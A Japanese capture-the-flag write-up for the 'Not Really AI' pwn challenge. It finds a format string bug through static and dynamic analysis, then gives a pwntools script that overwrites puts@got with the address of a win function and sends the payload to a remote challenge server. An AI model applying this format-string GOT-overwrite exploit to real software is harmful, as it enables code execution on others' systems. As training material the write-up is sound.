---
# System prepended metadata

title: ractf writeups

---

# ractf writeups

## Reversing/Pwn
### Not Really AI
**表層解析**
バイナリの種類及びアーキテクチャを確認するためにfileコマンドで確認します
![](https://i.imgur.com/AvfaRei.png)
* ELF file (dynamically linked ,not stripped)
* 32bit LSB

必要な情報はこれだけです。
dynamically linkedの場合は、libc.so.6ライブラリを使うため、リークが必要になる可能性が高いです。
not strippedなバイナリでは、プログラマが作成した関数名が残るので、調査が非常に楽になります。
したがって、GhidraやIDAは使わなくても静的解析ができます。
>（私はnot strippedを見てghidraを使うか等は決めてます）

32bit LSBは何気に重要で32bitと64bitで関数の引数の渡し方が全く違うので確認しています。
ではプログラマが作成した関数名を見てみましょう!
![](https://i.imgur.com/t6vFU3a.png)


> \_startまでがライブラリの関数です。frame_dummyまでがコンパイル時に作成されるものです。
> 
プログラマが作成した関数は、response,flaggy,mainの三つですね！
明らかにresponse,flaggyが怪しいです。

また、重要な点がまだあり、0x80491c2などアドレスがありますが0x8049XXXなどのアドレスに配置されている場合には、**not PIE**(PIE=位置独立性バイナリになるsecurity)なファイルです。この場合にはバイナリ中あるrop　gadgetがすべて使用可能です。
> （なぜnot PIEと判断できるかなのですが、PIEである場合には、どこにバイナリが配置されるかは、実行時に決まるものであり、固定の仮想アドレスは必要ないからです。したがって、必要な情報は、配置されたアドレスからのoffsetのみになりため、0x2000程度までに抑えられます。今回は0x8049000なので仮想アドレスを指定していますのでnot PIE）

まだまだここから得られる情報はあります。
sspのcanaryがある場合には、**\__stack_check_fail@plt**がありますが今回はありません。
> （やったね！BOFができます！）

まだあります..printfがありますが、**\__printf_chk**であるprintfの%nが使えないversionがありません
これは、**FSB**(format string bug)がある可能性が高いです。

--- 
では次のコマンドに移りましょう！
\$readelf -S nra #これは、ELFファイルのセクション情報を得ることができます。
![](https://i.imgur.com/oMxcRZF.png)
.got.pltがある場合には、GOT overwriteできる可能性が高いです！（これは信用しないで！！！！次の調査時に確認します！）
ここでほとんどのsecurity機構が判明しました。
* not PIE
* partial overwrite got
* not stack smash protector
* not fortify(maybe)

**静的解析**
バグを起こせるとしたら入力が発生する場所なのでその点をobjdumpで確認します。
main関数をobjdumpで確認してもscanf,read,fgets,getsなどがありません。
responseを見てみましょう！
fgetsがありました！この周辺をc言語風に直しましょう！
```cpp=
char buf[0x208];
fgets(buf, 0x200 ,stdin);
```
はい、オバーフローはしなさそうですね。
次行きましょう
```cpp=
printf(buf);
```
あっ....引数一つしか積んでない...
FSBがあることが判明した。

**動的解析**
今回はあまり必要がないですが一応しておきます。
使用したツール
* gdb-peda
![](https://i.imgur.com/bWGiB10.png)

gdb-peda\$vmmap
を入力するとプロセスマップが手に入ります。
見るのは、Permです。0x8049c000がrwxpとなっています。
したがって、GOT overwriteができることを意味しています。
(readelf -l nraでみた.got.plt領域です)
また、GOT領域にx属性がついていることからNX bitのセキュリティ機構もないことが分かります。
答え合わせ！！！！！！！
gdb-pedaはセキュリティ機構を調べるコマンドがあります！
![](https://i.imgur.com/T08j3Tj.png)
good

**バグの再現**
![](https://i.imgur.com/N9ruK6C.png)
はい！
FSBを使ってGOT overwriteできることが決まりました。
次のステップは、上書き先です制御をどこに移すのかが重要になってきます。
今回は、system@pltがあるのでおそらく、win関数的なものがあると踏んでflaggyを解析すると
```cpp=
void flaggy(void){
   system("cat flag.txt");
}
```
です。ここに制御を移せば終わりみたいですね。（ここはずるしてます。stringsコマンドで見るとcat flag.txtが見えるのでsystemの引数と予想が入ってます)

**攻撃**
GOT overwriteを行うにあたって、GOTにある関数がプログラム終了までに呼ばれる必要があります。
今回は、"We hope you keep going!"と出力している関数がput関数であることからputs@gotを狙う必要が出てきます。
方針をまとめます。
* FSBを使いputs@gotにflaggyのアドレスにする
ここまでは決まりましたが、FSBはポインタを使って書き込みを行う必要があるため、bufの位置を知らなければなりません。
![](https://i.imgur.com/qnEQI0V.png)
printf内でのbuf位置は、offset (void*)\*4みたいですね。
> これは、私事なのですが32bitならAAAA,64bitならAAAAAAAAを入力したあとに%p,%p..を入力し、0x4141..が出てきたところを見ています 

flaggy = 0x8049245(134517317)なので```puts@got%134517313x%4$n```になりますね。
これで、一応終了ですが、%nを使うと4byteで書き込みを行うため時間がかかりますので$hn```half byte n```か\$hhn```half half byte n```を使って書き込みします。
最終的に
```python=
from pwn import *
#target addr
flaggy = 0x8049245
puts_got = 0x804c018
#buffer offset is 4
payload =p32(puts_got) #this is pointer to puts@got!
payload+=p32(puts_got+1)
payload+=p32(puts_got+2)
payload+=p32(puts_got+3)
payload+=b"%53c%4$hhn"
payload+=b"%77c%5$hhn"
payload+=b"%114c%6$hhn"
payload+=b"%4c%7$hhn"
port = 0# variable
p = remote("95.216.233.106",port)
print(p.recvuntil("?"))
p.sendline(payload)
p.interactive()
```
